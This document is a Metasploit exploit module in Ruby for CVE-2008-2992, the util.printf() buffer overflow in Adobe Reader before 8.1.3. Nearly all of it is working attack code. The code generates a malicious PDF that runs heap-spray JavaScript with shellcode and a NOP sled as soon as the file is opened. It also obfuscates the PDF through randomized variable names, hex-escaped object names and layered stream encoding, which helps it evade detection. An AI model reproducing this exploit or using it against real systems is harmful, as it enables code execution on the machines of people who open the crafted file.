Adobe util.printf() Buffer Overflow

`###  
## This file is part of the Metasploit Framework and may be subject to  
## redistribution and commercial restrictions. Please see the Metasploit  
## Framework web site for more information on licensing and terms of use.  
## http://metasploit.com/framework/  
###  
  
require 'msf/core'  
require 'zlib'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Adobe util.printf() Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional   
< 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()  
entry, an attacker may be able to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2008-2992' ],  
[ 'OSVDB', '49520' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Adobe Reader v8.1.2 (Windows XP SP3 English)', { 'Ret' => '' } ],   
],  
'DisclosureDate' => 'Feb 8 2008',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),  
], self.class)  
  
end  
  
def exploit   
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Make some nops  
nops = Rex::Text.to_unescape(make_nops(4))  
  
# Randomize variables  
rand1 = rand_text_alpha(rand(100) + 1)   
rand2 = rand_text_alpha(rand(100) + 1)   
rand3 = rand_text_alpha(rand(100) + 1)   
rand4 = rand_text_alpha(rand(100) + 1)   
rand5 = rand_text_alpha(rand(100) + 1)   
rand6 = rand_text_alpha(rand(100) + 1)   
rand7 = rand_text_alpha(rand(100) + 1)   
rand8 = rand_text_alpha(rand(100) + 1)   
rand9 = rand_text_alpha(rand(100) + 1)   
rand10 = rand_text_alpha(rand(100) + 1)   
rand11 = rand_text_alpha(rand(100) + 1)   
  
script = %Q|  
var #{rand1} = unescape("#{shellcode}");  
var #{rand2} ="";  
for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");  
#{rand4} = #{rand2} + #{rand1};  
#{rand5} = unescape("#{nops}");  
#{rand6} = 20;  
#{rand7} = #{rand6}+#{rand4}.length  
while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};  
#{rand8} = #{rand5}.substring(0, #{rand7});  
#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});  
while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};  
#{rand10} = new Array();  
for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};  
util.printf("%45000.45000f", 0);  
|  
  
# Create the pdf  
pdf = make_pdf(script)  
  
print_status("Creating '#{datastore['FILENAME']}' file...")   
  
file_create(pdf)  
end  
  
def RandomNonASCIIString(count)  
result = ""  
count.times do  
result << (rand(128) + 128).chr  
end  
result  
end  
  
def ioDef(id)  
"%d 0 obj" % id  
end  
  
def ioRef(id)  
"%d 0 R" % id  
end  
  
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/  
def nObfu(str)  
result = ""  
str.scan(/./u) do |c|  
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'  
result << "#%x" % c.unpack("C*")[0]  
else  
result << c  
end  
end  
result  
end  
  
def ASCIIHexWhitespaceEncode(str)  
result = ""  
whitespace = ""  
str.each_byte do |b|  
result << whitespace << "%02x" % b  
whitespace = " " * (rand(3) + 1)  
end  
result << ">"  
end  
  
def make_pdf(js)  
  
xref = []  
eol = "\x0d\x0a"  
endobj = "endobj" << eol  
  
# Randomize PDF version?  
pdf = "%%PDF-%d.%d" % [1 + rand(2), 1 + rand(5)] << eol  
pdf << "%" << RandomNonASCIIString(4) << eol  
xref << pdf.length  
pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj  
xref << pdf.length  
pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj  
xref << pdf.length  
pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj  
xref << pdf.length  
pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj  
xref << pdf.length  
pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj  
xref << pdf.length  
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))  
pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol  
pdf << "stream" << eol  
pdf << compressed << eol  
pdf << "endstream" << eol  
pdf << endobj  
xrefPosition = pdf.length  
pdf << "xref" << eol  
pdf << "0 %d" % (xref.length + 1) << eol  
pdf << "0000000000 65535 f" << eol  
xref.each do |index|  
pdf << "%010d 00000 n" % index << eol  
end  
pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol  
pdf << "startxref" << eol  
pdf << xrefPosition.to_s() << eol  
pdf << "%%EOF" << eol  
  
end  
  
end  
`